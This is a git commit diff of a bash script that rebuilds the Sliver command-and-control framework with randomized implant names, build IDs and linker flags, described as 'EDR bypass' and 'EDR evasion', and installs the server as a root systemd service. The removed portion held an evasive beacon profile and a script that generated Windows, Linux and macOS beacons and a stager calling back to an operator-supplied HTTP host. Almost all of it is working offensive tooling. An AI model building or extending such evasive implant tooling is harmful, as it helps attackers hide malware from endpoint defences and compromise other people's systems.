working on getting custom sliver running

This commit is contained in:
n0mad1k
2025-04-15 17:00:03 -04:00
parent 146e056374
commit e2d25badc8
17 changed files with 534 additions and 1168 deletions
+65 -106
View File
@@ -1,5 +1,5 @@
#!/bin/bash
# EDR bypass script for Sliver C2 - With all required dependencies
# Enhanced Sliver randomizer for EDR evasion with dynamic redirector path support
set -e
TEMP_DIR=$(mktemp -d)
@@ -17,10 +17,10 @@ random_string() {
cat /dev/urandom | tr -dc 'a-zA-Z0-9' | fold -w $length | head -n 1
}
# Install ALL required dependencies
# Install required dependencies
log "Installing dependencies..."
apt-get update >/dev/null 2>&1
apt-get install -y git golang make build-essential zip unzip curl gcc g++ >/dev/null 2>&1
apt-get install -y git golang-go make build-essential zip unzip curl gcc g++ >/dev/null 2>&1
# Clone Sliver repository
log "Cloning Sliver repository..."
@@ -29,29 +29,17 @@ cd $SLIVER_DIR
# Examine repository structure
log "Analyzing Sliver repository structure..."
IMPLANT_NAME=$(random_string 8)
IMPLANT_NAME=$(random_string 12)
log "Using randomized implant name: $IMPLANT_NAME"
# Generate randomization values
HTTP_PATH_ONE="/$(random_string 6)/$(random_string 5)"
HTTP_PATH_TWO="/$(random_string 7)/$(random_string 4)"
BEACON_MIN=$((30 + RANDOM % 60))
JITTER=$((10 + RANDOM % 20))
# Find and modify key files - ImplantName
log "Changing implant name to $IMPLANT_NAME..."
# Find and modify key files
log "Modifying implant name in source code..."
grep -l "ImplantName.*sliver" --include="*.go" -r . | while read file; do
sed -i "s|ImplantName *= *\"sliver\"|ImplantName = \"$IMPLANT_NAME\"|g" "$file"
log "Modified $file: ImplantName = \"sliver\" → ImplantName = \"$IMPLANT_NAME\""
log "Modified $file: Changed implant name to $IMPLANT_NAME"
done
# Modify HTTP transport patterns
log "Modifying HTTP transport patterns..."
grep -l "/path/to/file" --include="*.go" -r . | while read file; do
sed -i "s|\"/path/to/file\"|\"$HTTP_PATH_ONE\"|g" "$file"
log "Modified $file: \"/path/to/file\" → \"$HTTP_PATH_ONE\""
done
# Add unique build ID to sliver.go
# Add custom build ID to sliver.go
log "Adding unique build identifiers..."
SLIVER_GO_FILES=$(find . -name "sliver.go")
for file in $SLIVER_GO_FILES; do
@@ -59,102 +47,73 @@ for file in $SLIVER_GO_FILES; do
log "Added build identifier to $file"
done
# Modify build flags
# Modify build flags for additional randomization
log "Setting custom build flags..."
grep -l "LinkerStrip" --include="*.go" -r . | while read file; do
sed -i "s|LinkerStrip = \"-s -w\"|LinkerStrip = \"-s -w -buildid=$(random_string 10)\"|g" "$file"
log "Modified $file: Added custom build ID"
done
# Build the modified client without compiling the server
log "Building Sliver client..."
# Check available targets first
log "Available make targets:"
make help | grep client || make -h | grep client || log "Make help not available"
# Build modified Sliver server and client
log "Building customized Sliver server and client..."
make
# Try to build the client with the correct target
if make -n client 2>/dev/null; then
log "Using 'client' target"
make client
elif make -n sliver-client 2>/dev/null; then
log "Using 'sliver-client' target"
make sliver-client
else
log "Falling back to default build"
make
fi
# Check if client was built
if [ -f "./sliver-client" ]; then
log "Client build successful"
# Check if binaries were built
if [ -f "./sliver-server" ] && [ -f "./sliver-client" ]; then
log "Build successful - installing customized binaries"
# Stop any running Sliver service
systemctl stop sliver 2>/dev/null || true
# Move binaries to system path
cp -f ./sliver-server /usr/local/bin/
cp -f ./sliver-client /usr/local/bin/
chmod +x /usr/local/bin/sliver-server
chmod +x /usr/local/bin/sliver-client
# Create systemd service file
cat > /etc/systemd/system/sliver.service << EOF
[Unit]
Description=Sliver C2 Server (Randomized Build)
After=network.target
[Service]
Type=simple
User=root
Group=root
WorkingDirectory=/root/.sliver
ExecStart=/usr/local/bin/sliver-server daemon
Restart=always
RestartSec=10
# Security measures
PrivateTmp=true
ProtectHome=false
NoNewPrivileges=true
[Install]
WantedBy=multi-user.target
EOF
# Create sliver directories
mkdir -p /root/.sliver/{configs,operators,profiles}
# Create basic operator config
/usr/local/bin/sliver-server operator --name admin --lhost 127.0.0.1 --save /root/admin.cfg
# Start sliver service
systemctl daemon-reload
systemctl enable sliver
systemctl start sliver
log "Sliver service installed and started"
else
log "Client build failed, creating only the profiles"
log "Build failed - binaries not found"
exit 1
fi
# Create custom profiles directory regardless of build success
mkdir -p /opt/c2/sliver-profiles
# Create evasive profile template
cat > /opt/c2/sliver-profiles/evasive-template.json << EOF
{
"name": "evasive-$(random_string 4)",
"http_urls": ["$HTTP_PATH_ONE", "$HTTP_PATH_TWO"],
"http_headers": [
"Accept-Language: en-US,en;q=0.$(( 7 + RANDOM % 3 ))",
"X-Requested-With: XMLHttpRequest",
"Cache-Control: max-age=$(( 100 + RANDOM % 400 ))"
],
"beacon_interval": $BEACON_MIN,
"beacon_jitter": $JITTER,
"kill_date": "$(date -d "+60 days" +%Y-%m-%d)",
"working_hours": {
"start": "$(( 6 + RANDOM % 4 )):00",
"end": "$(( 16 + RANDOM % 6 )):00"
}
}
EOF
# Create beacon generator script for use with standard Sliver
cat > /opt/c2/generate_evasive_beacons.sh << 'EOF'
#!/bin/bash
# Generate EDR-evasive beacons using randomized profiles
BEACONS_DIR="/opt/beacons"
PROFILE_DIR="/opt/c2/sliver-profiles"
HTTP_HOST=${1:-$(hostname -I | awk '{print $1}')}
HTTP_PORT=${2:-8888}
mkdir -p $BEACONS_DIR
# Generate random profile name
PROFILE="evasive-$(cat /dev/urandom | tr -dc 'a-zA-Z0-9' | fold -w 8 | head -n 1)"
# Copy template to profiles directory
mkdir -p /root/.sliver/profiles/
cp $PROFILE_DIR/evasive-template.json /root/.sliver/profiles/$PROFILE.json
sed -i "s/\"name\": \"evasive-[a-zA-Z0-9]*\"/\"name\": \"$PROFILE\"/g" /root/.sliver/profiles/$PROFILE.json
echo "[+] Generating Windows beacon..."
sliver generate --profile $PROFILE --http $HTTP_HOST:$HTTP_PORT --os windows --arch amd64 --format exe --save $BEACONS_DIR/windows.exe
echo "[+] Generating Windows DLL beacon..."
sliver generate --profile $PROFILE --http $HTTP_HOST:$HTTP_PORT --os windows --arch amd64 --format shared --save $BEACONS_DIR/windows.dll
echo "[+] Generating Linux beacon..."
sliver generate --profile $PROFILE --http $HTTP_HOST:$HTTP_PORT --os linux --arch amd64 --format elf --save $BEACONS_DIR/linux
echo "[+] Generating macOS beacon..."
sliver generate --profile $PROFILE --http $HTTP_HOST:$HTTP_PORT --os darwin --arch amd64 --format macho --save $BEACONS_DIR/macos
echo "[+] Generating Windows stager..."
sliver generate stager --profile $PROFILE --http $HTTP_HOST:$HTTP_PORT --os windows --arch amd64 --format exe --save $BEACONS_DIR/windows-staged.exe
echo "[+] All beacons generated successfully with evasive profile: $PROFILE"
EOF
chmod +x /opt/c2/generate_evasive_beacons.sh
# Cleanup
log "Cleaning up..."
rm -rf $TEMP_DIR
log "Customization complete."exit
log "Sliver randomization and installation complete - implant name: $IMPLANT_NAME"